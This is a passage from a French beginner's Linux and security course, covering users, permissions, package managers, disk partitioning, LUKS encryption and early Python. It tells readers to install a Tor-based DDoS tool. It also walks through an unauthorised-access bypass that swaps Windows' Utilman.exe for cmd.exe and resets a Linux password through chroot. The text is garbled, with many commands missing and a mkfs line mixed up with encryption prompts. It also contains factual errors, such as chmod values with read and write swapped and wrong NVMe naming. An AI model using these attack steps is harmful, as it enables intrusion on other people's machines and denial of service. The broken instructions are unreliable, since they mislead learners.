Puisque j’ai comme objectif de vous faire parvenir à un certain niveau dans la
sécurité informatique, je vous donne la solution du premier niveau afin que vous
38
ne baissiez pas les bras directement. Si à l’avenir, vous vous retrouvez bloqué
pendant un très long moment sur un niveau, surtout n’abandonnez pas, ces défis
sont faits pour que vous ayez à rechercher de la documentation en grand nombre.
SSH est un service (nous reviendrons sur cette notion dans un chapitre dédié) et
nous nous somme un client qui tente de consulter ce service. Il nous faut donc un
logiciel pour bénéficier de tous les avantages de ce qu’a à nous offrir le service.
Heureusement, le logiciel client SSH est livré directement dans n’importe quelle
bonne distribution de Linux, vous n’aurez donc pas à l’installer !
Lorsque vous vous connectez pour la première fois à la machine, SSH vous
demande si vous voulez vraiment vous connecter à la machine :
Tapez « yes », puis validez avec [Entrée]. Le logiciel vous demande ensuite de
taper un mot de passe. Comme indiquez ici, le mot de passe est : bandit0.
À partir de là, je vous laisse vous débrouiller ! N’oubliez pas que vous cherchez le
mot de passe du prochain défi, et que pour vous y connecter, il vous faudra
incrémenter le chiffre du nom d’utilisateur de 1.
i Afin de suivre correctement ce cours, vous n’êtes pas obligé de faire tous
les exercices proposés par OverTheWire. Allez au moins jusqu’au 11.
Bonne chance, j’espère que vous prendrez plaisir à faire ces défis !
39
Connexions, Permissions et Démons
Continuons sur notre lancée en abordant ce qui fait toute l’utilité d’une machine :
les processus, la gestion de multiples utilisateurs et la programmation. Au travers
de cette partie, nous ferons donc un tour vers Python afin que vous puissiez
maîtriser un premier langage de programmation. Cela vous permettra de gagner
en logique mathématique et en confiance pour vos projets.
I. Le super utilisateur
Sur Linux comme sur Windows, il existe la possibilité d’avoir plusieurs utilisateurs
sur la même machine. Vous devez probablement être habitué à exécuter des
programmes en tant qu’administrateur, eh bien Linux délivre également cette
fonctionnalité ; cependant, celle-ci demeure fortement différente.
Sur les machines Linux, l’administrateur est appelé root. Il possède tous les droits
sur le système, c’est d’ailleurs de cette faculté qu’il tire son nom, root signifiant
« racine » en anglais. En effet, le super-utilisateur peut modifier le système de
fichier à partir de sa racine et écrire dans n’importe quel dossier, de ce fait, il est
la personne ayant le droit de vie ou de mort sur la machine (ainsi que sur les
données de tous les autres utilisateurs).
Restez toujours bien concentré lorsque vous utilisez les permissions et les
! pouvoirs du super-utilisateur. Une petite faute peut rapidement se
transformer en un enfer signant l’arrêt de mort du PC.
En tant que simple utilisateur, vos pouvoirs sont limités. Par exemple, tapez ceci :
$ cat /etc/sudoers
40
Au début de cet ouvrage, je vous avais conseillé d’être le maître de votre
! machine, ou du moins, de la partie sur Linux. Si ce n’est pas le cas, vous
aurez beaucoup de mal à effectuer les tâches en tant qu’administrateur.
$ su
Password:
root@ordinateur:/home/jean#
L’ordinateur vous demandera une nouvelle fois de renseigner votre mot de passe
pour continuer. S’il ne le fait pas, c’est que vous avez utilisé les privilèges de root
il n’y a pas si longtemps que ça.
Vous remarquerez que cette fois-ci, le système ne vous a pas renvoyé d’erreur,
tout c’est bien passé lors de l’exécution de la commande car vous aviez les
bonnes permissions au bon endroit.
Afin de passer de l’utilisateur au super-utilisateur, on préférera quand même cette
méthode qui induit beaucoup moins d’erreurs sur les systèmes :
$ sudo su
N’oubliez pas de quitter le mode super-utilisateur dès que vous n’en avez
! plus besoin. Son utilisation peut être dangereuse sur votre machine, et,
quelqu’un de malveillant pourrait passer après vous et en profiter.
41
II. Installer un programme depuis les sources
Maintenant que vous avez obtenu les privilèges de root, il est temps d’installer
vos premiers programmes sur la machine.
Sur n’importe quelle distribution Linux ouverte au grand public, on utilise ce que
l’on appelle un gestionnaire de paquets. Celui-ci va, à l’aide d’une base de
données regroupant l’ensemble des logiciels que vous pouvez installer, retrouver
l’adresse du programme que vous désirez et exécuter les instructions pour
l’installer à votre place.
Sur Ubuntu et les machines basées sur Debian, on utilise apt en guise de
gestionnaire. Son utilisation est très simple, même si elle peut parfois s’avérer
complexe lorsqu’il faut installer un paquet qui n’est plus disponible sur la base de
données. Il faudra alors se battre quelque peu avec le logiciel…
Avant toute utilisation, il faut mettre à jour la base de données, et le faire assez
régulièrement. Au moins une fois par semaine n’est pas de trop, car une base de
données non à jour vous redirigera vers des liens déplacés ou supprimés.
# apt update
! Cette commande est inefficace si vous avez choisi une autre distribution
qu’Ubuntu ou Debian. Inutile de vous arracher les cheveux pour cela.
Installer un paquet devient alors très simple, il suffit de taper la ligne suivante :
Remplacez paquet par le logiciel que vous désirez, par exemple cmatrix :
Et le tour est joué. Vous pourrez ainsi bénéficier de votre nouveau programme !
Afin d’essayer de m’adresser au plus grand nombre, je vais rajouter des détails
sur les procédures d’installation sur les autres distributions. Pour les personnes
ayant installé Manjaro ou Arch Linux, les commandes seront les suivantes :
Mettre à jour la base de données :
# pacman -Syu
42
Installer un paquet :
# pacman -S [paquet]
Les commandes pour désinstaller un paquet sur Ubuntu et Debian sera :
Cette ligne installera cmatrix sur votre système. Pour plus d’informations,
n’hésitez pas à lire la doc : https://docs.fedoraproject.org/fr/quick-docs/dnf/.
Ce qu’il y a de pratique sur Linux, c’est que les possibilités sont infinies dans
l’exécution d’une seule et même tâche. Le vieux gestionnaire de paquet apt-get
avait déjà laissé sa place à apt que voici un nouveau concurrent dans la liste des
gestionnaires de paquets : Synaptic.
Ce gestionnaire a l’avantage d’être disponible sur tous les systèmes Linux, mais
cela est aussi la raison de sa faiblesse, ses problèmes d’optimisation. Synaptic est
lent, très lent, tout aussi lent qu’il est pratique d’y installer des paquets. En effet,
le logiciel dispose d’une interface graphique en plus de celle par ligne de
commande.
Ici pas de base de données à mettre à jour, juste un gestionnaire avec des
commandes claires. Par exemple, pour Installer un paquet on utilisera :
43
L’interface graphique est-elle beaucoup plus facile à appréhender pour un novice.
Je vous laisse faire sa connaissance en tapant, depuis le terminal ou le menu
démarrer, la commande :
$ gnome-software
Avant de vous quitter pour cette partie, un dernier petit détail doit être fait
44
III. Les utilisateurs et les groupes
Pour cette partie, nous allons créer un utilisateur et changer ses droits. À la fin de
celle-ci, vous ne serez pas obligés de garder cette personne inutile. Le restant de
cette partie se fera avec root, vous savez donc ce qu’il vous reste à faire…
Notre ami Jean veut partager notre poste de travail fixe (le sien à brûler suite à
une mauvaise utilisation des privilèges d’administrateur). Bien évidemment,
conscient du risque que peut représenter Jean vis-à-vis des systèmes
informatiques qu’il peut toucher, vous décider de lui créer un endroit approprié
sur votre système. Commençons par créer un utilisateur, pour ce faire, nous
utiliserons la commande suivante :
# adduser [nom]
# adduser jean
$ passwd
# passwd jean
45
$ groups
Je ne m’étendrai pas sur la liste que vous avez en face des yeux puisqu’elle se
trouve être différente pour chaque utilisateur et est définie par les actions
entreprises sur la machine (programmes installés, privilèges obtenus, groupes
créés par la suite). De rapides recherches sur internet vous permettront de
comprendre à quoi servent les groupes auxquels vous êtes inscrits.
$ groups jean
# addgroup [nom]
# addgroup lesbg
Maintenant que Jean et moi sommes dans le même groupe, je n’ai plus qu’à dire
que le dossier /opt appartient au groupe à l’aide de la commande chown :
Il ne reste plus qu’à accorder les droits de modifier, exécuter et lire les fichiers au
groupe, ce que l’on va apprendre à faire dans la prochaine partie.
i N’oubliez pas de supprimer Jean après avoir fini, à moins que vous ne
vouliez qu’il vous hante pour l’éternité. Cette ressource devrait vous aider.
46
IV. Changer les permissions pour un fichier
Une fois tous les groupes bien paramétrés, il va falloir changer les permissions
des fichiers que Jean voulait consulter. Cette partie est un peu complexe mais
reste l’une des plus importantes. Elle vous permettra ensuite de repérer très
facilement, dans un système de fichier, ce que vous pouvez ou non consulter,
exécuter ou modifier. Pour ceux ayant lu le manuel de la commande ls, ils ont pu
remarquer que l’option -l présentez un résultat assez particulier :
$ ls -l
drwxr-xr-x 2 jean jean 4096 avril 13 17:24 jean
Voici le résultat que j’obtiens dans mon dossier /home. Dans l’ordre :
α La partie qui va nous intéresser tout de suite, à savoir, les permissions que
possède le fichier (ou dossier, lien).
α Le nombre d’éléments présents dans ce dossier (. et .. comptent).
α L’utilisateur ayant la possession de l’élément
α Le groupe ayant la possession de l’élément
α La taille de l’élément en octet (4096 par défaut pour un dossier)
α La date de modification
α Le nom du dossier (ici, il s’agit du répertoire personnel de Jean)
Commençons par le type, cette part indique s’il s’agit d’un fichier, d’un dossier ou
d’un lien (l’alternative aux raccourcis sur Windows). Cette case peut prendre trois
valeurs : d, l, -. d veut dire que c’est un dossier, l signifie que c’est un lien et – que
c’est un fichier. Ainsi, en face de nous se trouve un dossier.
Le droit utilisateur est l’ensemble des permissions accordées à la personne ayant
la possession du dossier. Il s’exprime de la même manière que le droit du groupe
(permissions que possède le groupe ayant créé l’élément) et le droit des autres
utilisateurs (permissions des utilisateurs n’ayant aucuns rapports avec l’élément).
Ils existent trois autorisations que l’on peut accorder à un utilisateur (ou un
groupe) :
47
Elles sont classées de la plus basse à la plus haute…
Quand une de ces lettres est présente, cela veut donc dire que l’utilisateur (ou le
groupe) possède cette permission. Dans le cas contraire, il y aura un tiret (-) à la
place de la lettre. L’utilisateur Jean (propriétaire du répertoire Jean) a donc tous
les droits sur son répertoire personnel puisque les trois lettres (rwx) sont
présentes. Pour changer les permissions d’un utilisateur sur un élément :
L’argument [valeur] peut prendre deux formes différentes, nous n’en verrons
qu’une seule afin d’abréger un peu.
Pour faire simple, chaque permission est associée à une valeur numérique. 1 pour
exécuter, 2 pour lire et 4 pour écrire (modifier). On peut additionner ces valeurs
pour donner de multiples permissions à un utilisateur.
Par exemple, si je veux donner l’accès à la lecture et à l’écriture à un document,
je vais devoir rentrer la valeur 4 (pour la modification) + 2 (pour la consultation) =
6 (lecture + écriture). Ce paramètre doit être exprimé avec trois chiffres, le
premier représentant les droits du possesseur, le second, ceux du groupe et le
dernier, l’accès accordé aux autres utilisateurs.
Ainsi, la valeur 666 permettra à l’utilisateur possédant le fichier, au groupe
possédant le fichier et à un utilisateur quelconque de pouvoir lire et modifier le
fichier. Elle donnera rw-rw-rw- comme chaîne de permission lorsque vous la
visualiserez avec ls.
Cependant, nous dévions un peu de la tâche de départ, offrir à Jean l’accès au
dossier /opt. Histoire de ne pas avoir à recommencer cette opération pour les
futurs utilisateurs de notre machine, on va donner les droits d’accès au groupe
directement (il n’y aura plus qu’à ajouter la personne dans le groupe pour qu’elle
ait accès à ces fichiers) à l’aide des paramètres de chmod :
48
V. Compiler et installer manuellement des programmes
Maintenant que nous avons vu comment changer les permissions des fichiers, des
dossiers et des utilisateurs, il est temps de voir la dernière façon d’installer des
programmes, celle que nous utiliseront assez souvent en raison de la nature des
programmes que nous allons installer.
$ ./[fichier]
De même, parfois ce sera un fichier dont le nom commencera par cmake qui sera
présent au sein du répertoire. Il faut donc utiliser le logiciel cmake :
Un fichier Makefile devrait être apparu dans le dossier build, alors, vous savez ce
qu’il vous reste à faire pour compiler !
Sur beaucoup de système, make et cmake ne sont pas installés par défaut,
vous savez ce qu’il vous reste à faire :
! # apt install make cmake
49
S’il n’y a pas de fichier d’installation, ni de quoi compiler avec make ou cmake,
peut-être y a-t-il de quoi faire avec python. Dans ces cas-là, il y a trois cas de
figure pour installer un logiciel écrit en python :
α Il ne nécessite aucune dépendance → il peut être directement exécuté
α Il possède un fichier requierements.txt
α Il possède un fichier setup.py
Pour les versions de Python supérieures à la 3.10, pip est préinstallé avec le
i langage de programmation. Pour les autres, vérifiez bien que la version de
Python sur laquelle vous vous apprêtez à installer pip est bien la bonne.
Installer un module avec pip (plus de détails sur ce point dans la partie Python) :
Les modules installés ne sont pas appliqués pour tous les utilisateurs. Cela
! signifie que si vous l’avez installé en root, votre utilisateur normal ne
bénéficiera pas de ces modules, et inversement.
La deuxième méthode que nous devions étudier, celle du fichier setup.py, est
encore plus simple. Il suffit d’exécuter :
Maintenant que vous savez comment installer des dépendances, essayer un peu
d’installer ce logiciel https://github.com/r3nt0n/torDDoS, il permet de faire des
attaques DDOS en Python en passant par Tor. Bonne chance !
50
Gestion des disques
Ici, nous allons aborder la gestion des disques et autres périphériques sur Linux.
Cela s’inscrit dans une pratique plutôt défensive qu’offensive, même si l’on verra
que de mauvaises habitudes en matière de sécurisation des disques peuvent
amener à des exploitations plutôt faciles.
51
On peut représenter tous ces fichiers et leur organisation comme un arbre,
comme vous pouvez le voir sur la page précédente. La racine de cet arbre est
appelée racine du système de fichier, il s’agit du dossier principal de votre
système Linux, celui sur lequel vont se greffer tous les autres dossiers.
Ces répertoires aux nomenclatures complexe sont en fait parfaitement
compréhensibles par tous. Par exemple, le dossier /bin contient les fichiers
binaires de votre ordinateur, c’est-à-dire les exécutables ; /sbin fait exactement le
même travail, sauf qu’ici, les exécutables sont mis à la disposition du super-
utilisateur. L’un des dossiers le plus détesté par les utilisateurs d’Arch Linux est
/etc, c’est dans ce dernier que se trouvent tous les fichiers de configurations des
logiciels présents sur la machine.
Lorsque vous utilisez une clef USB, votre système va monter le matériel dans le
dossier /mnt (/media/utilisateur pour les systèmes basés sur Debian comme
Ubuntu). La racine du disque sera alors le dossier /mnt.
Il est fort probable que votre disque ressemble au mien, c’est-à-dire plusieurs
partitions de différents types (ici, deux).
52
Mais comme vous pouvez le voir sur l’image juste en dessous, à chaque disque,
sa table de partition propre à lui. Ici, c’est celle de ma clef USB possédant le
système Ventoy dessus (permet de mettre plusieurs images disque bootable sur
le même disque) :
Bien découper son disque permet d’organiser les informations dans des cases
bien distinctes en fonction de leurs natures.
Avant toute opération sur les disques, vérifier toujours ce que vous vous
! apprêtez à faire. Certaines opérations peuvent endommager vos disques,
voir pire, signer l’arrêt définitif de votre machine.
53
Ces types de partitions peuvent être manipulés avec un logiciel de gestion des
partitions. Il en existe plusieurs parmi lesquels :
α fdisks
α gdisk
α Gparted : GNOME partitions editor
C’est sur ce dernier que nous allons nous pencher, les deux précédents étant
pratiques, mais moins intuitifs que Gparted. Installé de base sur les systèmes
possédant l’interface GNOME, il peut tout de même être ajouté avec la
commande :
Ce qui est pratique avec ce logiciel, c’est qu’il existe également sous la forme
d’une image disque : https://gparted.org/download.php.
Lancez le programme depuis le menu des applications, ou avec la commande :
# gparted
Vous vous trouvez en face de cette interface, pas avec les mêmes informations :
54
III. Disques et nomenclature des périphériques
Sur Linux, les disques détectés sont présents dans le dossier /dev. Ils sont sujets à
une nomenclature bien particulière, qui n’est pas à connaître par cœur, mais qui
vous permettra de connaître le type de disque et le numéro de partition que vous
allez modifier.
Les règles sont très strictes et concernent quatre grands types de périphériques :
α SCSI : concerne les disques durs (HDD et SSD seulement), clef USB et, en
règle générale, tout type de stockage capable de répondre aux commandes
SCSI ou ATA (utiliser un câble SATA pour un HDD en fait un SCSI)
Les règles sont alors les suivantes :
γ Le nom du disque commence par sd
γ Une lettre lui est attribué (a, b, c, etc) désignant le numéro du disque.
Ainsi, sda est le premier SCSI découvert, sdb, le deuxième.
γ Un nombre suit directement la lettre, elle désigne le numéro de la
partition. Par exemple, sda2 renvoie à la deuxième partition du premier
disque découvert ; sde7 renvoie à la septième partition du cinquième
disque découvert par la machine.
α NVMe : concerne les SSD NVMe (les plus rapides)
Les règles de nomenclature sont alors les suivantes :
γ Le nom du disque commence par nvme
γ Un numéro est attribué au disque, la liste commence par 0
γ On ajoute la lettre n puis le numéro du contrôleur, la liste commence à 1
cette fois-ci (ex : nvme3n2 est le quatrième SSD NVMe découvert sur le
controlleur numéro 2).
α MMC et SCSI ODD : concernent respectivement les cartes SD et les CD, les
règles sont assez similaires.
Les règles sont les suivantes :
γ mmcblk suivi du numéro d’identification du MMC (0 pour le premier
identifier, 4 pour le cinquième)
γ Sr suivi du numéro d’identification du ODD (0 pour le premier identifier, 7
pour le huitième)
Pour les trois dernières catégories (NVMe, MMC et ODD), l’identification de la
partition se fait avec l’ajout de la lettre p, suivie du numéro de la partition,
commençant à 1.
55
Par exemple, mmcblk5p2 est la deuxième partition du 6 MMC détecté par le
système; nvme3p1 est la première partition du quatrième SSD NVMe découvert
par le système.
Afin d’analyser proprement nos disques, plutôt que d’ouvrir Gparted pour
analyser, nous pouvons nous servir de la commande suivante :
$ lsblk -f
Vous remarquerez que plusieurs partitions nommées loopX sont présentes sur
mon système. Ces périphériques sont en fait des dossiers montés comme des
disques par le gestionnaire de paquet snap, vous pouvez d’ailleurs voir à quel
dossier correspond quelle partition.
$ lsblk -f
C’est un vrai foutoir ! À l’aide de Gparted, je vais vous montrer comment faire de
l’ordre sur ce disque. L’objectif sera de n’avoir à terme que deux partitions, une
de type FAT32 et l’autre de type ext4.
56
Sur l’écran de Gparted, on sélectionne notre disque dans le menu déroulant en
haut à droite.
Vérifiez bien que toutes les partitions sont démontées avant de faire quoi que ce
soit, car une partition encore montée ne peut pas être modifiée ou supprimée.
Faites un clic droit sur le nom d’une partition, si le bouton Unmount (Démonter)
apparaît, alors c’est que la partition est encore montée, il vous suffit de cliquer
sur ledit bouton pour l’éjecter.
Nous allons supprimer toutes les partitions à l’exception de sdb4, que nous allons
déplacer au début du disque. Pour ce faire, cliquez sur la partition qui vous
intéresse, puis sur le bouton Delete (Supprimer).
57
Ensuite, nous allons donc déplacer sdb4 en tant que première partition. De la
même manière que les autres opérations : clic droit sur la partition, sélectionnez
Resize/Move (Redimensionner/Déplacer) et déplacez la partition au début du
rectangle représentant votre disque.
Puis, nous avons à créer une dernière partition sur l’espace restant. Touchez la
zone grise en y faisant un clic droit, puis sélectionnez New (Nouveau) dans le
menu déroulant qui vient d’apparaître. Dans la fenêtre qui vient de se positionner
face à vous, choisissez la taille de la partition à créer, ici, elle fera 450 GiB et
validez l’action.
En bas de l’écran, se trouve un récapitulatif des actions sur les disques à effectuer
pour Gparted. Vérifiez bien que tout y est en ordre avant de valider la transaction,
car tout dommage est irréparable.
Dans la petite fenêtre vous donnant un aperçu de ce que fait Gparted, vous
pouvez voir la syntaxe de la commande qu’est en train d’utiliser le logiciel, en
l’occurrence ici, mkfs.ext4. Les commandes permettant de partitionner un disque
sont fournis par le programme mkfs, si vous voulez plus d’informations sur son
utilisation, vous connaissez la rangaine :
$ man mkfs
Enfin bref, nous parlons de disque depuis tout à l’heure, mais quel rapport y a-t-il
entre ces choses et la sécurité informatique ?
Eh bien, comme tout matériel, un disque doit être protégé si vous voulez garder
vos données à l’abri des regards étrangers, cela peut permettre d’éviter certaines
mauvaises surprises. En effet, un disque mal protégé peut amener à une
récupération de vos données par une tierce personne, voir pire, un accès à la
machine par retrait du mot de passe sur Windows, ou avec chroot sur Linux ; et
tout ceci car vous n’aurez pas pris la peine de chiffrer vos disques.
58
V. Sécurisation du disque
Nous allons donc apprendre à chiffrer nos disques. Cette opération peut s’avérer
lourde pour le processeur et pourrait ralentir considérablement votre expérience
sur Linux. Ainsi, chiffrer votre disque est une chose assez stupide à faire, à moins
que vous ne viviez dans la plus profonde des paranoïas et que n’importe quelle
personne que vous avez la possibilité de rencontrer au quotidien, est un pirate
potentiel envoyé par le parti communiste chinois pour trouver des bonnes raisons
à votre bannissement dans un camp de travail forcé à fabriquer des baskets toute
la journée.
Nous en profiterons pour utiliser les commandes énoncées dans la partie
précédente, ce serait bête que vous perdiez la main sur ce bon vieux terminal…
Dans un premier temps, il va donc nous falloir un disque sur lequel nous inscrirons
nos données ultra-confidentielles. J’utiliserai une clef USB basique que mon
ordinateur a identifié comme /dev/sdb. Il faut refaire le système de partitions de
telle sorte que celle que nous allons utiliser pour stocker nos informations soit au
format ext4. De mon côté, je vais d’abord effacer les partitions présentes sur la
clef. Liston les pour nous donner un aperçu de la situation :
# fdisk -l
Device Start End Sectors Size Type
/dev/sdb1 2048 2189311 2187264 1G Linux filesystem
/dev/sdb2 2189312 7131135 4941824 2,4G Linux filesystem
/dev/sdb3 7131136 20981759 13850624 6,6G Microsoft basic data
/dev/sdb4 20981760 22091775 1110016 542M Microsoft basic data
/dev/sdb5 22091776 31258623 9166848 4,4G Linux filesystem
Nous allons donc effacer chacune de ces partitions, une par une, à l’aide de la
commande dd. Faites bien attention quand vous l’utilisez, tout comme gparted, ce
programme peut grandement toucher l’intégrité de vos disques, ce n’est d’ailleurs
pas pour rien si dd traîne le petit surnom de Disk Destroyer.
La syntaxe pour utiliser dd comprend un disque que l’on souhaite lire et un disque
destination. En complément, nous allons lui ajouter une vitesse de transmission
ainsi qu’une directive affichant le statut de la commande (l’état du disque à un
instant t, cela permettra de savoir où en est le processus).
59
En tant que fichier d’entrée nous utiliserons /dev/zero, et en guise de sortie, notre
clef USB, ou du moins, son nom attribué :
Avoir un disque nommé /dev/zero présent sur votre machine peut vous paraître
bizarre, mais il s’avère cependant très pratique dans ce genre de cas. En effet, ici
dd a seulement copié le contenu de zero dans sdb, le premier étant infini et le
dernier fini, la commande devrait vous retourner une erreur à la fin de l’exécution
vous annonçant qu’il n’y a plus assez de place sur le disque pour y écrire quelque
chose. C’est tout à fait normal, ignorez cette indication.
D’ailleurs, vous pouvez vous-même lire le contenu de /dev/zero avec la
commande cat. Il va falloir ajouter l’option -v qui permet l’utilisation de la notation
carret, c’est-à-dire, l’affichage des caractères spéciaux (Retour à la ligne ou de
chariot, tabulation, etc) :
$ cat -v /dev/zero
Ainsi, notre disque est enfin épuré de toutes nos cochonneries, et cela peut se
vérifier en réutilisant la commande fdisk ; elle n’affichera plus du tout la table des
partitions de sdb, car ces dernières viennent d’être supprimées par des bits de
valeur nul (0).
Nous allons maintenant créer deux partitions sur notre disque :
α Une que nous remplirons de données aléatoires pour brouiller les logiciels
de reconnaissances qui seront donc incapables de briser notre chiffrement.
α Une pour écrire nos données, l’endroit où elles seront chiffrées.
Pour ce faire, nous allons utiliser de nouveau fdisk, mais cette fois-ci dans un
autre but, celui de réagencer la table des partitions dans un ordre qui nous
arrange.
60
Ouvrez le disque avec fdisk :
# fdisk /dev/sdb
Une ligne s’affiche vous proposant les divers options du programme. Tapez [d]
puis [Entrée], cela aura pour effet de supprimer toutes traces des anciennes
partitions, s’il y en avait encore.
Continuons en tapant [n] pour créer une nouvelle partition, puis [p] pour créer une
partition primaire (je ne m’attarde pas sur la différence entre partitions primaires
et étendues, mais pour faire court, le deuxième type peut contenir des sous-
partitions en son sein). Le programme vous propose d’affubler votre partition d’un
numéro – ce sera le même que celui qui se trouvera après le nom du disque dans
le dossier /dev – prenez celui par défaut, il fera très bien l’affaire.
Validez la taille de début, nous n’allons pas nous mettre à déplacer inutilement
des données, puis donnez-lui une taille de fin de +2G (correspond à une taille
finale de 2 GiB, soit deux fois 1 024 Mo).
Recréez en une dans la foulée avec la touche [n] et un appui répété sur [Entrée],
tous les paramètres seront mis par défaut, ce qui aura pour effet de créer une
partition primaire prenant la place restante sur le disque.
# mkfs.ext4 -c /dev/sdb2
Le programme vous demande de taper YES en lettre MAJUSCULE (il faut croire que
chiffrer un disque est une action plus dangereuse que désinstaller l’ensemble des
61
paquets présents sur le système), puis de choisir un mot de passe. C’est avec ce
mot de passe que vous déverrouillerez votre disque la prochaine fois que vous
aurez à l’utiliser.
Ça y est ! Votre disque est enfin parfaitement sécurisé.
Pour récupérer les données qu’il y a à l’intérieur (et les modifier ou en ajouter), il
vous suffit de créer une copie non chiffrée du disque avec la commande suivante :
Cela va créer une partition nommée [nom] dans le dossier /dev/mapper. Si besoin,
vous devriez peut-être la formater, alors vous n’aurez qu’à faire :
# mkfs.ext4 [cheminPartition]
Voilà, il ne vous reste plus qu’à essayer de votre côté, vos données seront
totalement protégées face aux regards des autres.
Normalement, si tout se passe bien, votre système devrait, s’il est bien ficelé,
monter automatiquement la nouvelle partition déchiffrée pour que vous puissiez y
accéder dans votre gestionnaire de fichier. Cependant, tous ne le font pas et des
problèmes subsistent quant à l’implémentation de LUKS sur tous les systèmes. Il
va donc falloir monter le disque manuellement.
Pour ce faire, créez un dossier qui sera le point de montage de la partition, sa
racine sur le système si vous préférez :
# mkdir /mnt/[dossier]
i Note : sur les systèmes basés sur Debian, les périphériques sont souvent
montés dans le dossier /media/nomDutilisateur/[dossier]
Rendez-vous ensuite dans /mnt/[dossier] pour consulter vos fichiers, que ça soit
par le terminal ou par le gestionnaire de fichier de votre interface graphique.
Pour éjecter la partition, vous n’aurez qu’à retaper :
# umount [partition]
62
VI. Exploitation d’un système non sécurisé
Maintenant que nous avons vu comment sécuriser entièrement un disque, voyons
ce qui peut arriver à un système qui n’a pas eu la chance de vous avoir comme
hôte. Bien évidemment, je vous avais précisé qu’il était inutile de chiffrer
l’entièreté de votre disque par souci de sécurité, car cette méthode n’allait que
ralentir votre système pour vous protéger d’un cas qui arrive très rarement.
Je vais tout de même vous présenter cette méthode d’accès au système lorsque
la machine se trouve physiquement face à vous. Téléchargez l’image disque live
d’une distribution Linux, flashez là, éteignez Windows entièrement (Appuyez sur
[Shift] simultanément à la touche d’arrêt de Windows, et non le bouton physique
appartenant à la machine).
Une fois arrivé sur Linux, listez les disques présents sur la machine avec fdisk :
# fdisk -l
Il va falloir ensuite monter la partition pour y accéder, vous savez donc ce qu’il
vous reste à faire :
# mkdir /mnt/[dossier]
# mv Utilman.exe Utilman.exe.old
63
Nous allons faire de même avec cmd.exe, mais en gardant l’original sous la main,
c’est plus chic pour l’utilisateur de la machine qui pourra encore accéder à son
invite de commande :
# cp cmd.exe Utilman.exe
Voilà, dès que vous aurez redémarré la machine, vous n’aurez qu’à appuyer sur le
bouton d’ergonomie pour faire apparaître une invite de commande, ce qui est
déjà bien assez pour faire ce que vous voulez. Il se peut que, bien gourmand, vous
décidiez d’en plus avoir accès au bureau de l’utilisateur victime. Dans l’invite de
commande, il va donc falloir taper :
Si vous êtes en plus de ça un homme civilisé ayant une bonté dépassant toute
mesure, vous lui remettriez Utilman.exe en ordre pour qu’il puisse de nouveau
jouir de cette option inutile
De la même manière, il est tout à fait possible d’accéder à un système Linux avec
chroot, il suffit de viser le point de montage de la partition système :
# chroot /mnt/[dossier]
# passwd [mdp]
Je vous vois déjà hurler et m’insulter en pleurant, car votre système n’est pas
assez sécurisé à votre goût. Si je vous ai déconseillé de chiffrer l’entièreté de
votre disque, je ne saurai que trop vous encourager à partitionner votre disque
lors de l’installation pour chiffrer des partitions précises.
64
VII. Forensic et disques
65
Point de Passage : Monter Linux soit même
De la même manière que plus haut, il est temps de vous exercer un peu pour voir
si toutes les notions sont bien rentrées. Cette fois-ci, vous aurez besoin d’un peu
de matériel, mais ce n’est pas grand-chose. Il vous faudra un périphérique de
stockage (ex : clef USB), peu importe sa nature, tant qu’il fait à minima 30 GB.
Vous l’aurez compris, dans cet exercice, nous allons monter Linux de A à Z. Enfin,
pas moi, je l’ai déjà fait dans ma vie, mais ce n’est pas votre cas à vous ! Afin de
ne pas occasionner de dégâts à notre système actuel, nous allons stocker tout ça
sur le périphérique de stockage externe. De même, passez votre chemin si votre
ordinateur a plus de 10 ans d’âges, il risque de ne pas tenir le choque de la
compilation pouvant durer plusieurs heures…
Ici, pas d’image disque a flashé, ni de disque à cloner depuis un fichier, tout se
fera à la main, comme à l’ancienne. Un petit livre est mis à votre disposition, ainsi
qu’un fichier présentant des sources avec des liens ; ce sont vos seules armes
pour affronter cette épreuve horrible qui vous attend.
Vous êtes aujourd’hui tout à fait capable de monter une machine depuis rien du
tout, et faire en sorte que tout roule, que vous puissiez démarrer dessus. Ne
perdez pas espoir ;) L’objectif, ici, est de mettre en pratique vos connaissances et
d’en gagner de nouvelles, et ce, afin de connaître sur le bout des doigts le
fonctionnement d’un système Linux. Voilà un rendu final pris sur Internet :
Crédit photo :
https://www.reddit.com/r/unixporn/comments/dgqmlp/sway_there_isnt_enough_linux_from_scratch_around/
66
Automatisation avec Python
Avant toutes choses, il est primordial de posséder Python dans sa dernière version
(à l’heure où j’écris, la 3.10). Il est possible que depuis la rédaction de ce livre,
bien des versions aient été créées. Pas d’inquiétude à avoir à ce propos, les
grandes lignes resteront les mêmes. Pour installer Python :
I. À l’assaut de l’interpréteur
Lançons l’interpréteur Python :
$ python
Nous nous retrouvons en face d’une sorte de console où le dollar est remplacé par
des chevrons :
>>>
Assez austère à première vue, l’interpréteur vous permettra d’essayer des bouts
de code très rapidement sans avoir à exécuter l’entièreté d’un script. Nous
pouvons dès maintenant rentrer nos premières lignes de code, les plus
importantes, les opérations arithmétiques de base :
>>> 3+2
5
67
>>> 10 - 5
5
>>> 9 * 8
72
>>> 5 / 2
2.5
Il existe même un opérateur qui va vous paraître un peu inutile au début, voir
même, incompréhensible : le modulo. Il renvoie le reste d’une division euclidienne
entre le dividende et le diviseur :
>>> 5 % 2
1
>>> 35 % 3
2
Faire des calculs est un plus, mais le mieux est encore de pouvoir stocker les
valeurs quelque part afin de les réutiliser plus tard. C’est pourquoi l’informatique a
accouché d’un concept fort utile issue des mathématiques, les variables.
>>> maVariable = 3
Par la suite, cette valeur est entrée en mémoire durant toute l’exécution du
programme. Les variables sont volatiles, c’est-à-dire que la mémoire sera effacée
68
à la fin de l’exécution du programme. On dit alors que cette mémoire est cache ou
volatile, ce qui lui donne l’avantage d’être très rapide, mais assez limité en taille.
Veillez donc à trouver d’autres méthodes si vous vouliez sauvegarder
définitivement vos données issues du script.
On peut donc très facilement avoir accès à la valeur mis en mémoire en tapant le
nom de la variable :
>>> maVariable
3
De même, les opérations arithmétiques sont tout à fait possibles avec les
variables, que ça soit pour l’assignation de valeur (faire en sorte qu’une variable a
porte la valeur d’une variable b) ou juste pour l’obtention d’un résultat :
>>> x = 2 + 3
>>> y = x * 4
>>> y
20
Ces lignes sont assez intéressantes pour l’esprit qui cherche à se divertir, mais ce
qui nous intéresse, c’est l’écriture de script plus complexe, ceux où nous pourront
rentrer une myriade d’informations à la fois. Alors sautons le pas :)
$ python nomScript.py
69
et de ne pas réinventer la roue à chaque écriture de programme. Parmi ces
fonctions, il y en a deux qui vont nous intéresser ici :
α print(v1, v2, ...) : Afficher les valeurs comprises dans v1, v2, etc.
α input(phrase) : la chaîne de caractère compris dans phrase, demande une
